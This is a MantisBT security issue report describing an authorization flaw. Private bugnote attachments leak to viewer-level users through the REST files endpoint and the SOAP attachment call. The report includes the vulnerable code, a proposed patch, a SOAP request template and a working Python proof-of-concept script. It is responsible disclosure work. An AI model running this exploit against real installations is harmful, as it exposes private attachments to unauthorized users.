View Issue Details

IDProjectCategoryView StatusLast Update
0037095mantisbtsecuritypublic2026-05-10 07:56
Reportersiunam Assigned Todregad  
PriorityhighSeveritymajorReproducibilityhave not tried
Status closedResolutionduplicate 
Product Version2.28.1 
Summary0037095: Private Bugnote Files Disclosure via REST API Get Issues Files Or SOAP API mc_issue_attachment_get
Description

In REST API rest_issue_files_get (api/rest/restcore/issues_rest.php line 539 - 570), method process from class IssueFileGetCommand will call function file_get_visible_attachments from core/file_api.php to retrieve visible attachments:

class IssueFileGetCommand extends Command {
    // [...]
    protected function process() {
        // [...]
        $t_attachments = file_get_visible_attachments( $this->issue_id );
        // [...]
    }
}

Inside that function, it'll check if the current user can view the provided bug or bugnote attachments via function file_can_view_bug_attachments and file_can_view_bugnote_attachments (core/file_api.php line 500 - 504):

function file_get_visible_attachments( $p_bug_id ) {
    // [...]
    foreach( $t_attachment_rows as $t_row ) {
        // [...]
        if( !file_can_view_bug_attachments( $p_bug_id, $t_user_id )
        || !file_can_view_bugnote_attachments( $t_attachment_note_id, $t_user_id, $p_bug_id )
        ) {
            continue;
        }
        // [...]
    }
    // [...]
}

Unfortunately, in function file_can_view_bugnote_attachments, it did not pass argument $p_bugnote_id to function file_can_view_or_download. Therefore, the bugnote attachment's access level will be checked in bug level instead of in the bugnote level.

core/file_api.php line 298 - 310:

function file_can_view_bugnote_attachments( $p_bugnote_id, $p_uploader_user_id = null, $p_bug_id = null ) {
    // [...]
    return file_can_view_or_download( 'view', $t_bug_id, $p_uploader_user_id );
}

By default, view_attachments_threshold and download_attachments_threshold is set to VIEWER. Hence, if the user can access a bug, he/she can view and download its bug's private bugnotes' attachments.

In SOAP API mc_issue_attachment_get, it'll call function mci_file_get from api/soap/mc_file_api.php:

function mc_issue_attachment_get( $p_username, $p_password, $p_issue_attachment_id ) {
    // [...]
    $t_file = mci_file_get( $p_issue_attachment_id, 'bug', $t_user_id );
    // [...]
}

Inside that function, it assumes the attachment is a bug attachment. Therefore, it only validates the attachment in bug level via function mci_file_can_download_bug_attachments and it did not validate if the user is allowed to view and download a private bugnote attachment.

api/soap/mc_file_api.php line 232 - 237:

function mci_file_get( $p_file_id, $p_type, $p_user_id ) {
    // [...]
    switch( $p_type ) {
        case 'bug':
            if( !mci_file_can_download_bug_attachments( $t_bug_id, $p_user_id ) ) {
                return mci_fault_access_denied( $p_user_id );
            }
            break;
        case 'doc':
            // [...]
    }
    // [...]
}
Steps To Reproduce
  1. Create a new public issue if there's none (By default, private_bug_threshold is set to DEVELOPER. If the attacker already has that threshold, he/she can view any private bugnotes anyway)
  2. Create a private bugnote with any attachment
  3. Login as any user's account with at least access level "Viewer"
  4. Access the REST API endpoint or SOAP API to retrieve all files for a specific bug issue. Including private bugnotes files that should not be accessible to the user.
    • REST API:
      1. Send a GET request to endpoint /api/rest/issues/<public_issue_id>/files
    • SOAP API:
      1. Send the following SOAP POST request to endpoint /api/soap/mantisconnect.php:
        <soapenv:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" 
        xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:man="http://futureware.biz/mantisconnect">
        <soapenv:Header/>
        <soapenv:Body>
        <man:mc_issue_attachment_get>
        <username>your_attacker_username_here</username>
        <password>your_attacker_password_here</password>
        <issue_attachment_id>your_private_bugnote_attachment_id_here</issue_attachment_id>
        </man:mc_issue_attachment_get>
        </soapenv:Body>
        </soapenv:Envelope>

A Proof-of-Concept Python script (poc.py) and a video are also attached.

Additional Information

Patch

In REST API, function file_can_view_bugnote_attachments in core/file_api.php line 309 should pass argument $p_bugnote_id to function file_can_view_or_download, so that the check will be done in bugnote level:

function file_can_view_bugnote_attachments( $p_bugnote_id, $p_uploader_user_id = null, $p_bug_id = null ) {
    // [...]
    return file_can_view_or_download( 'view', $t_bug_id, $p_uploader_user_id, $p_bugnote_id );
}

In SOAP file API function mci_file_get (api/soap/mc_file_api.php line 197 - 263), it is recommended that if the file type $p_type is bug, it should also validate if the attachment is a bugnote or not. If it is a bugnote, validate if the user can access the private bugnote attachment.

TagsNo tags attached.
Attached Files
poc.py (5,652 bytes)   
import requests
import xml.etree.ElementTree as ET
from base64 import b64decode

class Poc:
    def __init__(self, baseUrl):
        self.baseUrl = baseUrl

        self.LOGIN_ENDPOINT = f'{self.baseUrl}/login.php'
        self.REST_GET_ISSUE_FILES_ENDPOINT = f'{self.baseUrl}/api/rest/issues/{{issue_id}}/files'
        self.SOAP_API_ENDPOINT = f'{self.baseUrl}/api/soap/mantisconnect.php'
        self.SOAP_FUNCTION_ISSUE_ATTACHMENT_GET = 'mc_issue_attachment_get'

    '''
    Example SOAP request body for mc_issue_attachment_get function:
    <soapenv:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:man="http://futureware.biz/mantisconnect">
        <soapenv:Header/>
        <soapenv:Body>
            <man:mc_issue_attachment_get>
                <username>viewer</username>
                <password>password</password>
                <issue_attachment_id>139</issue_attachment_id>
            </man:mc_issue_attachment_get>
        </soapenv:Body>
    </soapenv:Envelope>
    '''
    @staticmethod
    def buildSoapEnvelope(functionName, params):
        envelope = ET.Element('soapenv:Envelope', attrib={
            'xmlns:xsi': 'http://www.w3.org/2001/XMLSchema-instance',
            'xmlns:xsd': 'http://www.w3.org/2001/XMLSchema',
            'xmlns:soapenv': 'http://schemas.xmlsoap.org/soap/envelope/',
            'xmlns:man': 'http://futureware.biz/mantisconnect'
        })
        header = ET.SubElement(envelope, 'soapenv:Header')
        body = ET.SubElement(envelope, 'soapenv:Body')
        function = ET.SubElement(body, f'man:{functionName}')
        for key, value in params.items():
            param = ET.SubElement(function, key)
            param.text = str(value)
        return ET.tostring(envelope, encoding='utf-8', method='xml')

    def login(self, account):
        data = {
            'username': account['username'],
            'password': account['password']
        }
        response = account['session'].post(self.LOGIN_ENDPOINT, data=data)
        response.raise_for_status()

    def restGetIssueFiles(self, session, issueId):
        url = self.REST_GET_ISSUE_FILES_ENDPOINT.format(issue_id=issueId)
        response = session.get(url)
        response.raise_for_status()
        return response.json()['files']

    def soapGetIssueFile(self, account, issueAttachmentId):
        soapEnvelope = Poc.buildSoapEnvelope(self.SOAP_FUNCTION_ISSUE_ATTACHMENT_GET, {
            'username': account['username'],
            'password': account['password'],
            'issue_attachment_id': issueAttachmentId
        })
        print(f'[+] Sending SOAP request to {self.SOAP_API_ENDPOINT} with function "{self.SOAP_FUNCTION_ISSUE_ATTACHMENT_GET}" for issue attachment ID: {issueAttachmentId}')
        print(f'[+] SOAP Request Body:\n{soapEnvelope.decode()}')
        headers = {'Content-Type': 'text/xml; charset=utf-8'}
        response = requests.post(self.SOAP_API_ENDPOINT, data=soapEnvelope, headers=headers)
        response.raise_for_status()

        root = ET.fromstring(response.content)
        file = root.find('.//return')
        if file is not None:
            return b64decode(file.text).decode().strip()
        else:
            print('[-] No file found in the SOAP response')
            return None

    def execute(self, accounts, issueId=0, issueAttachmentId=0):
        accounts['viewer']['session'].proxies.update({ 'http': 'http://localhost:9876' })

        if issueId != 0:
            # 1. Log in as a user with at least Viewer access level to be access bug issues
            self.login(accounts['viewer'])
            print(f'[+] Logged in as {accounts["viewer"]["username"]}')

            # 2. Access the REST endpoint to retrieve all files for a specific bug issue. Including private bugnotes files that should not be accessible to the user.
            files = self.restGetIssueFiles(accounts['viewer']['session'], issueId)
            if not files or len(files) == 0:
                print('[-] No files found for the specified issue or issue attachment ID')
                return
            
            for file in files:
                print('=' * 20)
                print(f'[+] File Name: {file["filename"]} (ID: {file["id"]}) | File owner: "{file["reporter"]["name"]}"')
                print(f'[+] File content:\n{b64decode(file["content"]).decode().strip()}')

            return
        elif issueAttachmentId != 0:
            # 2. Access the SOAP API to retrieve a specific issue attachment by its ID. This can be used to access private bugnotes files that should not be accessible to the user.
            file = self.soapGetIssueFile(accounts['viewer'], issueAttachmentId)
            if not file:
                print('[-] No file found for the specified issue attachment ID')
                return
            
            print('=' * 20)
            print(f'[+] File content:\n{file}')
            return

        print('[-] Please provide either an issue ID or an issue attachment ID')
        return

if __name__ == '__main__':
    baseUrl = 'http://localhost:8080'
    accounts = {
        'viewer': {
            'username': 'viewer',
            'password': 'password',
            'session': requests.Session()
        }
    }
    # for REST API
    issueId = 0 # Change this to the ID of the issue you want to test
    # for SOAP API
    issueAttachmentId = 142 # Change this to the ID of the issue attachment you want to test (if needed)

    poc = Poc(baseUrl)
    poc.execute(accounts, issueId, issueAttachmentId)
poc.py (5,652 bytes)   
poc.mp4 (1,939,613 bytes)   

Relationships

duplicate of 0036985 closeddregad CVE-2026-42071: REST Issue File Listing Leaks Attachments From Hidden Private Bugnotes 

Activities

siunam

siunam

2026-05-02 01:45

reporter   ~0071054

@dregad Any update on this?

dregad

dregad

2026-05-02 09:33

developer   ~0071060

Sorry about the delay, I've been busy.

This vulnerability has already been identified by another researcher, so I'm closing the Issue as duplicate of 0036985. CVE-2026-42071 has been assigned. You will be co-credited for the finding.

dregad

dregad

2026-05-02 10:14

developer   ~0071062

Patch is available in a private repository, I sent you an invite to join, so you can review and provide feedback. I also added you to the GitHub advisory.

siunam

siunam

2026-05-02 11:09

reporter   ~0071063

Thanks! I'll check that patch later.